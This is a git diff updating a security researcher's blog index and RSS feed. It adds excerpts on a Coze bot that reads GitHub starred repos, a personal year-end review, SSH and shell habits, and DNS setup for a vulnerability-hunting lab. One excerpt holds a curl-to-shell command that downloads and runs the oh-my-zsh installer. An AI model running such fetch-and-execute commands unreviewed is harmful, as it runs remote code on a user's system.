+</div> +</div><p>此时我们可以安装一些新的库</p> \ No newline at end of file diff --git a/index.html b/index.html index 2b2e0da..6b818f7 100644 --- a/index.html +++ b/index.html @@ -1,4 +1,4 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

08 +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

08 Sep 2024

使用AI提取历年漏洞Fofa查询语句

791 words, ~3 min read

近期使用Rust开发了一个基于流水线的AI助手,名字叫Qpipe,本文将演示我如何使用它来提取历年所有漏洞相关资产的查询语句。
04 Jun 2024

使用Coze平台对Github Star项目进行分析推送

2,582 words, ~10 min read

在这篇文章中,我将介绍如何使用Coze平台开发一个Bot来读取Github Star项目,并输出分析结果推送到知识星球。
29 Dec 2023

2023年终总结 - 你好2024!

5,093 words, ~20 min read

2023年转眼过去,好像2022年-2023年很少写一写总结了,心血来潮给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会介绍一下这两年以来自己做的一些事情和成长。
31 diff --git a/index.xml b/index.xml index 127c4e8..9525f96 100644 --- a/index.xml +++ b/index.xml @@ -24,7 +24,9 @@ </span></span><span style="display:flex;"><span> -d, --debug </span></span><span style="display:flex;"><span> -h, --help Print help </span></span><span style="display:flex;"><span> -V, --version Print version -</span></span></code></pr使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> +</span></span></code></pre></td></tr></table> +</div> +</div><p>先将Qpipe下载到本地,然后编写特定的配置文件:</p>使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> @@ -51,7 +53,82 @@ </tr> </tbody> </table> -<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p>2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/<h2 id="前言">前言</h2> +<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p> +<p>整体实现思路如下:</p> +<ul> +<li>编写一个能够读取我自己Github Star项目的插件</li> +<li>编写一个能够向知识星球推送文字的插件</li> +<li>创建工作流,方便后续其他Bot调用</li> +<li>创建一个Bot,编写Prompt,导入上述插件进行调试</li> +<li>设置自定义交互的按钮来修改<code>变量</code>,增加易用性</li> +</ul> +<h2 id="编写访问github-api的插件">🔧编写访问Github API的插件</h2> +<p>为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> os +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 获取Github访问令牌</span> +</span></span><span style="display:flex;"><span>GITHUB_TOKEN <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>getenv(<span style="color:#e6db74">&#39;GITHUB_TOKEN&#39;</span>) +</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Authorization&#39;</span>: <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;token </span><span style="color:#e6db74">{</span>GITHUB_TOKEN<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span> +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_starred_repos</span>(username): +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;https://api.github.com/users/</span><span style="color:#e6db74">{</span>username<span style="color:#e6db74">}</span><span style="color:#e6db74">/starred&#39;</span> +</span></span><span style="display:flex;"><span> response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url, headers<span style="color:#f92672">=</span>headers) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>status_code <span style="color:#f92672">==</span> <span style="color:#ae81ff">200</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> response<span style="color:#f92672">.</span>json() +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): +</span></span><span style="display:flex;"><span> username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;your-github-username&#39;</span> +</span></span><span style="display:flex;"><span> starred_repos <span style="color:#f92672">=</span> get_starred_repos(username) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> repo <span style="color:#f92672">in</span> starred_repos: +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目名称: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;name&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目描述: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;description&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目地址: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;html_url&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Star数量: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;stargazers_count&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#39;---&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>: +</span></span><span style="display:flex;"><span> main() +</span></span></code></pre></td></tr></table> +</div> +</div><p>以上是我用Prompt AI生成的示例代码,这个示例代码确实能直接拿来使用,但是还需要按照实际情况调整输入输出参数,在Coze平台中每一个插件都可以通过<code>Metadata</code>设定输入参数以及输入参数的数据类型,同样的也有输出参数以及输出参数的数据类型。</p>2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/<h2 id="前言">前言</h2> <p>2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。</p> <p>在上周末看到阮老师的周刊的标题:<a href="http://www.ruanyifeng.com/blog/2023/12/weekly-issue-283.html">科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走</a>,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。</p> <h2 id="2023这一年的工作感想">2023这一年的工作感想</h2> @@ -80,7 +157,33 @@ <p>三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。</p> <p><em>“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。”</em></p> <p>四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。</p> -<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> +<p><em>“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。”</em></p> +<p>五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。</p> +<p><em>“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。”</em></p> +<p>六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源:</p> +<ol> +<li>人口少子化可能催生了“断亲族”,亲戚数量少、交往不够</li> +<li>家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化</li> +<li>对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异</li> +<li>当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑</li> +</ol> +<p>我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。</p> +<p><em>“如果我们可以经常像朋友一样沟通,我有好多话想说。”</em></p> +<p>七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。</p> +<p><em>“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。”</em></p> +<p>八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。</p> +<p><em>“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。”</em></p> +<p>九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。</p> +<p><em>“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。”</em></p> +<p>十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。</p> +<p><em>“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。”</em></p> +<p>十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。</p> +<p><em>“没有人可以评价你,做一个自信的人,我们的文化也是一样。”</em></p> +<p>十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。</p> +<p><em>“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。”</em></p> +<p>这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。</p> +<h2 id="最后">最后</h2> +<p>2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。</p>需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <h3 id="使用带密码的私钥">使用带密码的私钥</h3> <p>使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。</p> @@ -98,7 +201,54 @@ </span></span><span style="display:flex;"><span>Generating public/private rsa key pair. </span></span><span style="display:flex;"><span>Enter passphrase <span style="color:#f92672">(</span>empty <span style="color:#66d9ef">for</span> no passphrase<span style="color:#f92672">)</span>: <span style="color:#75715e"># 输入密码</span> </span></span><span style="display:flex;"><span>Enter same passphrase again: <span style="color:#75715e"># 输入密码</span> -</span></span></code></pr某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/<blockquote> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/2024-07-29-fcceb13ae2e9e9954f3e168e822e583565003cf814c46b123015ed18723b01f8.png" alt="0"> + +</p> +<h3 id="使用命令行提示工具-oh-my-zsh">使用命令行提示工具 oh-my-zsh</h3> +<p><a href="https://ohmyz.sh/">oh my zsh</a></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ sh -c <span style="color:#e6db74">&#34;</span><span style="color:#66d9ef">$(</span>curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh<span style="color:#66d9ef">)</span><span style="color:#e6db74">&#34;</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>$ vim .zshrc +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 我使用的插件</span> +</span></span><span style="display:flex;"><span>plugins<span style="color:#f92672">=(</span> +</span></span><span style="display:flex;"><span>git +</span></span><span style="display:flex;"><span>docker +</span></span><span style="display:flex;"><span>zsh-syntax-highlighting +</span></span><span style="display:flex;"><span>zsh-autosuggestions +</span></span><span style="display:flex;"><span>zsh-completions +</span></span><span style="display:flex;"><span>copyfil +</span></span><span style="display:flex;"><span>e emoji +</span></span><span style="display:flex;"><span>extract +</span></span><span style="display:flex;"><span>sudo +</span></span><span style="display:flex;"><span><span style="color:#f92672">)</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h3 id="使用更好的替代命令">使用更好的替代命令</h3> +<p>在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:</p>某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/<blockquote> <p>本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。</p> </blockquote> <!-- raw HTML omitted --> @@ -121,7 +271,73 @@ </span></span><span style="display:flex;"><span>nameserver 8.8.8.8 </span></span></code></pre></td></tr></table> </div> -</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p>邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/<!-- raw HTML omitted --> +</div><p>修改 <code>/etc/NetworkManager/NetworkManager.conf</code> 文件,在main部分添加 “dns=none” 选项:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>[main] +</span></span><span style="display:flex;"><span><span style="color:#75715e">#plugins=ifcfg-rh +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>dns<span style="color:#f92672">=</span>none +</span></span></code></pre></td></tr></table> +</div> +</div><p>网络IP地址配置文件在 <code>/etc/sysconfig/network-scripts</code> 文件夹下:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-c1fdebce3a78e6a40d687eb5fa49a1b528c20752858153814edc88cba437ceaa.png" alt="0"> + +</p> +<p>我添加了两个网卡,其中一个用来供本机访问:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-683e57752f22f8419b233e4952db222874f86e8902cfdd70410619b4b6a2aea1.png" alt="1"> + +</p> +<p><code>/etc/sysconfig/network-scripts/ifcfg-eth1-1</code></p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span 